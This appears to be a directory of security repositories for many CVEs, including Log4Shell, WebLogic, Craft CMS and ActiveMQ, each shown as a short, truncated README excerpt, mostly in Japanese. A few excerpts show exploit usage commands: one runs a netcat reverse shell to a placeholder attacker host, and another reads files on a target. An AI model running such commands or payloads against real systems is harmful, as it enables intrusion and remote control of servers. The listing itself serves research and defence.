CVE-2017-10271

CVE-2017-10271 Weblogic wls-wsat 구성 요소 역직렬화 취약점CVE-2017-10271 탐지 스크립트 사용법 $ python CVE-2017-10271 url 또한 ceye.io 계정을 등록하고, 제공된 Identifier 및 API Token을 코드의 다음 부분에 입력해야 합니다: 기능 Windows 및 Linux 환경에서 Weblogic에 CVE-2017-10271 원격 명령 실행 취약점이 존재하는지 탐지합니다. 현재 Linux 환경에서만 테스트되었습니다 Windows 및 Linux 환경에서 모두 테...

CVE-2021-1732-EXP-

このリポジトリには README がありません。...

FsquirtCPLPoC

Fsquirt.exe Windows 바이너리는 현재 작업 디렉터리에서 bthprops.cpl이라는 제어판 애플릿CPL을 로드하려고 시도합니다. bthprops.cpl이 fsquirt.exe와 함께 있으면 바이너리는 이를 로드하고 DLLMain에서 MessageBox를 실행합니다. 이 PoC 코드는 fsquirt.exe가 로드할 수 있는 악성 bthprops.cpl 파일을 생성합니다. 포함된 build.sh 스크립트가 CPL 모듈을 컴파일해 줍니다...

PoC-CVE-2026-20841

PoC CVE-2026-20841 説明 このプロジェクトは、Windows メモ帳の「リモートコード実行」に関する脆弱性に対するシンプルな概念実証（PoC）です。 攻撃者は特別な .md ファイルを作成し、ソーシャルエンジニアリングの手法でユーザーを騙して .md ファイル内のリンクをクリックさせることができます。 要件 メモ帳のバージョンが 11.2510 未満であること ユーザーがソーシャルエンジニアリングにより poc.md ファイルをすでにダウンロードしていること ユーザーとしての操作 poc.md がダウンロードされたら、リンクを順番にクリックしていきます。...

BluetoothDucky

BluetoothDucky CVE-2023-45866 - BluetoothDucky 実装（DuckyScript を使用） 認証なしの Bluetooth リモートコード実行。（簡単に言うと、デバイスとペアリングせずにキーボードコマンドを実行する） これは marcnewlin によって発見された CVE の実装です https://github.com/marcnewlin/himynameiskeyboard 将来の使用に備えて hid.py ファイルをできるだけ変更しないように、duckyconvert.py を作成しました。...

Log4Shell

Log4Shell このリポジトリは、Log4j 2021（CVE-2021-44228）の脆弱性のデモンストレーションと緩和策のためのものです。 Log4Shellとは？ CVE-2021-44228 / Log4Shellの脆弱性は、悪意のあるペイロードを脆弱なソフトウェアに注入することで構成され、Log4JにJNDIとLDAPプロトコルを通じて第三者ソースから値を取得するよう要求させます。... 取り込まれたデータはコードになる可能性があり、それがシステム上でLog4Jによって実行されます。 概念実証（ビデオチュートリアル） 1...

CVE-2023-38646

CVE-2023-38646 CVE-2023-38646 Metabase 0.46.6 エクスプロイト このツールは、ソフトウェアプラットフォームの脆弱性（CVE-2023-38646）を悪用します。このエクスプロイトは、不正に処理されたデータベース接続文字列を利用し、細工されたリクエストを介してリモートコード実行を可能にします。 概要 このツールは: ターゲットURLからセットアップトークンを取得します。 指定されたコマンドをBase64エンコードします。 エンコードされたコマンドを含むペイロードを構築します。 ペイロードを送信して脆弱性を悪用します。 インストール...

CVE-2024-4577

lol CVE-2024-4577 1. エクスプロイトコマンド RCE 値 python3 cek.py --target http://target/index.php --ls --dir /path/to/directory python3 cek.py --target https://target/index.php --dir /path/to/directory python3 cek.py --target https://target/index.php --cat /path/to/directory 書き込み可能なディレクトリを検索 python3 cek.py...

CVE-2024-56278

CVE-2024-56278 1️⃣ コンポーネントタイプ WordPressプラグイン 2️⃣ コンポーネント詳細 コンポーネント名 WP Ultimate Exporter 脆弱性のあるバージョン ⚠️ 「WP Ultimate Exporter」プラグインは「WP Ultimate CSV Importer」プラグインのアドオンであるため、両方のプラグインをインストールする必要があります。 1. コードエディタ（ショートカットキー: ⇧ ⌥ ⌘ M）を使用して、以下の内容で新しい投稿を作成します: 2. WP Ultimate...

CVE-2026-28695

CVE-2026-28695 パッチバイパス - Craft CMS ブラインドRCE Craft CMS における認証済みブラインドリモートコード実行。CVE-2026-28695 の修正（コミット e31e508）で追加された create - BaseObject 制限をバイパスします。 使用方法 python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKERIP ATTACKERPORT -e /bin/sh' 免責事項...

CVE-2023-31446-Remote-Code-Execution

CVE-2023-31446-Remote-Code-Execution このリポジトリには、Dodge Industrial Team が Dodge OPTIFY プラットフォーム向けに発見した CVE-2023-31446 の説明が含まれています。 CVE ID: CVE-2023-31446 ベンダー: Cassia Networks 製品: Cassia Gateway Firmware バージョン: http:///bypass/config?type=sqs&keyId=&key=&queueUrl= 調査に基づくと、SQS 機能はデバイスの起動時にサービスを開始します。...

ServiceNow-CVE-2025-11449-CVE-2025-11450-Mitigation-Script

ServiceNow CVE-2025-11449 & CVE-2025-11450 緩和スクリプト 概要 このスクリプトは、ServiceNow UI Macros における CVE-2025-11449 および CVE-2025-11450 のセキュリティ脆弱性を自動的に検出し、修復します。これらの脆弱性は、ユーザー制御の sysparm パラメータが適切にサニタイズされていない場合、特別に細工されたリンクを通じてユーザーのブラウザで任意のコード実行を引き起こす可能性があります。 影響を受ける UI Macros $pwdverifyemail...

CVE-2026-34197

CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia API 説明 CVE-2026-34197 は、Apache ActiveMQ Classic におけるリモートコード実行（RCE）の脆弱性であり、攻撃者が Web コンソールに公開された Jolokia API を介して、サーバーのオペレーティングシステム上で任意のコマンドを実行できるようにします。 この脆弱性は 13 年以上前から存在しており、Jolokia（HTTP-JMX ブリッジ）、ActiveMQ の MBean、ネットワークコネクタ、VM...

CVE-2021-44228-Log4Shell-POC

CVE-2021-44228-Log4Shell-POC 悪名高いLog4j CVE-2021-44228の完全なPOC 前提条件 ここからJavaをダウンロードしてインストールします。jdk-8u181を使用できます。 ここからIntelliJ Ideaをインストールします。 POC ステップ1 : このリポジトリをクローンします。 ステップ2 : Exploit.javaファイルを別のフォルダに移動します。私の場合は、ホームディレクトリ内にrceというフォルダを作成しました。/home/coldfusionx/rce ステップ3 : Exploit.javaを確認します。...

CVE-2026-2441-PoC

CVE-2026-2441 — Chrome CSSFontFeatureValuesMap Use-After-Free CVSS 8.8（高） | 実際に悪用が確認済み | レンダラーRCE（サンドボックス内） Google ChromeのBlink CSSエンジンにおけるuse-after-free脆弱性で、リモートの攻撃者が細工したHTMLページを介してブラウザのサンドボックス内で任意のコードを実行できる可能性があります。 脆弱性の詳細 フィールド| 値 ---|--- CVE| CVE-2026-2441 CVSS| 8.8（高） タイプ|...

CVE-2024-25641

CVE-2024-25641 Exploit Title: Cacti 1.2.26 - RCE Authenticated Date: 06/01/2025 Exploit Author: D3Ext Vendor Homepage: https://cacti.net/ Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip Version: 1.2.26 Tested on: Kali Linux 2024 CVE: CVE-2024-25641 説明...

cve-2025-1550

cve-2025-1550 keras 模型 json 远程代码执行...

CVE-2026-22812-POC

OpenCode CVE-2026-22812 エクスプロイター OpenCode の脆弱性（CVE-2026-22812）をチェック・悪用するためのシンプルな Python ツール。 インストール git clone https://github.com/CayberMods/CVE-2026-22812-POC.git cd CVE-2026-22812-POC pip install requests urllib3 argparse concurrent-log-handler colorama 基本的な使い方 単一ターゲットのチェック python rce.py -u...

cve-2024-21762-poc

cve-2024-21762-poc CVE-2024-21762 は、Fortinet 社の FortiOS および FortiProxy 製品における深刻な脆弱性であり、その SSL VPN コンポーネントに存在します。この脆弱性により、認証されていないリモート攻撃者が特別に細工された HTTP リクエストを通じて、標的システム上で任意のコードまたはコマンドを実行でき、システムが完全に制御される可能性があります。 危険性：...

CVE-2026-1357

CVE-2026-1357 CVE-2026-1357 のラボ環境 1. 環境の構築 sudo apt update && sudo apt install docker.io docker-compose -y sudo systemctl start docker git clone リポジトリのリンク wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip unzip wpvivid-backuprestore.0.9.123.zip sudo docker-compose up -...